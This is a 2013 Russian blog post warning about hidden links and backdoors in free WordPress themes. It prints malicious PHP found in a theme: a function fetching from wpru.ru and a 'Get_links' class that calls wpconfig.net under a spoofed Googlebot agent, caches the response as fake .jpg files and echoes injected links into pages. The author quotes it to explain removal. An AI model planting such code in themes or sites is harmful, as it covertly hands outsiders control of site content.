4 июн. 2013 г.

Ещё раз о скрытых ссылках в бесплатных шаблонах вордпресс

находим скрытые ссылки в бесплатных шаблонах вордпресс
Печальная истина, что бесплатный сыр бывает только в мышеловке, известна всем. Но ведь нам хочется доказать, какие мы крутые, и вытащить этот бесплатный сыр из мышеловки с минимальными потерями для здоровья. Так у меня дело обстоит с шаблонами (в смысле темами) для вордпресс-сайтов. Я не покупаю платные, и занимаюсь тем, что минимизирую вред от бесплатных.

Не секрет, что меньший вред, какой они могут нанести - это понавесить на ваш сайт ненужных ссылок. Все такие ссылки я делю на три вида: наглые, хитрые и типаумные. Наглые просто вписываются в шаблон сайдбара или футер. Хитрые устанавливаются так, что могут "положить" сайт при попытке их снять. На самом деле, в файле functions.php прописывается код, который проверяет постоянно наличие тех самых ссылок. хотите удалить ссылки? Придётся и его удалить.

Есть ещё ссылки типаумные - закодированные. Обычно вместе со ссылкой в кодировщик запихивается один или два закрывающих тега div, и если вы просто пытаетесь удалить закодированный кусок, тема разъезжается в стороны. Поэтому надо этот кусок раскодировать, вставить на место, ссылки удалить, а теги оставить. Найти все эти ссылки помогает плагин ТАС.

Есть, однако, ещё одна опасность. Совсем недавно, в процессе борьбы с очередными вирусами, мне пришло в голову очевидное. Любой шелл - это файл php. А где проще всего спрятать такой файлик? Ну конечно же, в теме, которая является набором шаблонов - таких вот файликов. Есть ли у автора темы возможность оставить себе "лазейку" для входа на все сайты, где установлена его тема? Безусловно, есть.

Вот ещё код в файле functions.php, "родитель" скрытых ссылок:

function bloqinfo($wp_id){
static $wp_count = 0;
if ($wp_count == 0) {
$wp_count++;
return @file_get_contents('http://wpru.ru/aksimet.php?id='.$wp_id.'&m=09');

Если нашли такое, то из всех файлов шаблона следует удалить код ?=bloqinfo($post->ID) ?.

Но это ещё не всё! Выковыривая шеллы из своих сайтов, я обнаружила предупреждения Ай-болита Всесильного: "на сайте установлен код по продаже ссылок, убедитесь, что его устанавливали именно вы"! Я аж подавилась нехорошим словом от такой наглости.

Оказывается, некто (не думаю, что разработчик) вставил в файл functions.php класс Get_links:

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

и в файл Comments.php

?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?.

Пришлось всю эту дрянь удалить.

Автору этого... скрипта (мама меня учила не ругаться!) удаётся, сидя дома за своим компом, получать адреса сайтов на которых установлены темы с его сайта, и на них он размещает ссылки.

Вы думаете, аффтар прячется? Нет. Он на Сёче имеет свою тему, предлагает "услугу по размещению 500 скрытых ссылок, встроенных в шаблоны сайтов, ссылки не сквозные, 500 ссылок за 50$". У него есть сайты с шаблонами, в которые установлен код вызова ссылок. Шаблоны скачивают, устанавливают и он может в любой момент установить там ссылки заказчиков, от которых отбою нет.

Копирайт - это одно. Я не трогаю копирайты. Добросовестные "русификаторы" чаще всего закрывают сами свои ссылки в нофоллоу, и я их никогда не удаляю. Но стащить тему, напихать в неё своих ссылок, а потом ещё и такой код установить - это верх наглости. Особенно, если учесть, что бесплатными темами пользуются не только оголтелые и бессовестные любители халявы (вроде меня), но и неопытные вебмастера.

А официальное хранилище тем ВП тут: http://wordpress.org/themes/, они ставят свой копирайт, и всё. Во всяком случае, никакого кода или скрипта вам не подложат.

16 коммент.:

Отправить комментарий

 
Rambler's Top100